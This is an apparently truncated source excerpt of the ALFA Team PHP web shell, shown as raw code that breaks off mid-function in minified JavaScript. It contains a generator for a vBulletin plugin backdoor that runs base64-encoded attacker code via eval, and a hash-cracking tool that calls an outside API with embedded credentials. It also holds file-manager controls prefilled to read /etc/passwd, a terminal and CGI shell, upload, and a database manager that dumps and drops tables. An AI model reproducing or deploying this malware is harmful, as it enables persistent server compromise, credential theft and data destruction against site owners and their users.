echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>\r\n<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>\r\n<input type='submit' name='go' value=' ' /></p></form></center>";
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
echo __pre() . "<p><center><textarea rows='10' name='users' cols='80'>";
echo '<?php xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\'' . __ZW5jb2Rlcg($_POST['alfa1']) . '\'));exit;}]]></phpcode></plugin></plugins>';
echo "</textarea></center></p>";
}
echo "</center></div>";
alfafooter();
}
function alfacpcrack()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick=\"g('cpcrack',null,'dec')\">| DeCrypter | </a><a href=javascript:void(0) onclick=\"g('cpcrack',null,'analyzer')\">| Hash Analyzer | </a></h3></center>";
if ($_POST['alfa1'] == 'dec') {
$algorithms = array('md5' => 'MD5', 'md4' => 'MD4', 'sha1' => 'SHA1', 'sha256' => 'SHA256', 'sha384' => 'SHA384', 'sha512' => 'SHA512', 'ntlm' => 'NTLM');
echo "<center><div class=\"txtfont_header\">| DeCrypter |</div><br><br>\r\n<form onsubmit=\"g('cpcrack',null,'dec',this.md5.value,'>>',this.alg.value); return false;\"><div class=\"txtfont\">Decrypt Method:</div> <select name=\"alg\" style=\"width:100px;\">";
foreach ($algorithms as $key => $val) {
echo '<option value="' . $key . '">' . $val . '</option>';
}
echo "</select><input type=\"text\" placeholder=\"Hash\" name=\"md5\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
if ($_POST['alfa3'] == '>>') {
$hash = $_POST['alfa2'];
if (!empty($hash)) {
$hash_type = $_POST['alfa4'];
$email = "solevisible@gmail.com";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=" . $hash . "&hash_type=" . $hash_type . "&email=" . $email . "&code=" . $code;
$resp = @file_get_contents($target);
if ($resp == '') {
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre() . '<center>';
switch ($resp) {
case 'CODE ERREUR : 001':
echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";
break;
case 'CODE ERREUR : 003':
echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";
break;
case 'CODE ERREUR : 004':
echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";
break;
case 'CODE ERREUR : 005':
echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";
break;
}
if (substr($resp, 0, 4) != 'CODE' && $resp != '') {
echo "<b>Result: <font color='green'>" . $resp . "</font></b>";
} elseif (substr($resp, 0, 4) != 'CODE') {
echo "<font color='red'>NoT Found</font><br />";
}
echo "</center>";
}
}
}
if ($_POST['alfa1'] == 'analyzer') {
echo "<center><p><div class=\"txtfont_header\">| Hash Analyzer |</div></p>\r\n<form onsubmit=\"g('cpcrack',null,'analyzer',this.hash.value,'>>');return false;\">\r\n<div class=\"txtfont\">Hash: </div> <input type=\"text\" placeholder=\"Hash\" name=\"hash\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
if ($_POST['alfa3'] == '>>') {
$hash = $_POST['alfa2'];
if (!empty($hash)) {
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/", "post", "hash={$hash}&crypt=Search");
echo __pre() . '<center>';
if (preg_match('#<fieldset class="trouve">(.*?)</fieldset>#', $resp, $s)) {
echo '<font color="green">' . $s[1] . '</font>';
} else {
echo "<font color=\"red\">Not Found...!</font>";
}
echo "</center><br>";
}
}
}
echo "</div>";
alfafooter();
}
function alfafooter()
{
if (!isset($_POST['ajax'])) {
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >\r\n<tr>\r\n<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>\r\n<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type='submit' value=' '></form></td>\r\n<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>\r\n<input type='hidden' name='a' value='FilesMAn'>\r\n<input type='hidden' name='c' value='" . $GLOBALS['cwd'] . "'>\r\n<input type='hidden' name='ajax' value='true'>\r\n<input type='hidden' name='alfa1' value='uploadFile'>\r\n<input type='hidden' name='charset' value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong> Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam © 2012-" . date('Y') . " ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>\r\n</tr>\r\n</table>\r\n</div>\r\n\r\n<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>\r\n\r\n<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>\r\n\r\n<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>\r\n<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>\r\n<div id='update-content'></div>\r\n<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>\r\n<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>\r\n<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>\r\n<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>\r\n<div id='rightclick_menu'>\r\n <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>\r\n <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>\r\n <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>\r\n <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>\r\n <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\"> Rename</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\"> Modify</a>\r\n <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>\r\n <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>\r\n <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>\r\n</div>\r\n<div id=\"filesman-tab-full-path\"></div>\r\n<div id='alert-area' class='alert-area'></div>\r\n<div class='cl-popup-fixed' style='display:none;'>\r\n\t<div id='shortcutMenu-holder'>\r\n\t\t<div class='popup-head'></div>\r\n\t\t\t<form autocomplete='off' onSubmit='return false;'>\r\n\t\t\t\t<label class='old-path-lbl'></label>\r\n\t\t\t\t<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>\r\n\t\t\t\t<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>\r\n\t\t\t\t<input type='text' name='fname'>\r\n\t\t\t\t<div class='perm-table-holder'>\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t <tbody>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td><b>Mode</b></td>\r\n\t\t\t\t\t <td>User</td>\r\n\t\t\t\t\t <td>Group</td>\r\n\t\t\t\t\t <td>World</td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Read</td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Write</td>\r\n\t\t\t\t\t <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Execute</td>\r\n\t\t\t\t\t <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Permission</td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>\r\n\t\t\t\t\t <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t </tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t</form>\r\n\t\t<div class='popup-foot'>\r\n\t\t\t<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>\r\n\t\t\t<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>\r\n\t\t</div>\r\n\t</div>\r\n</div>";
?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area 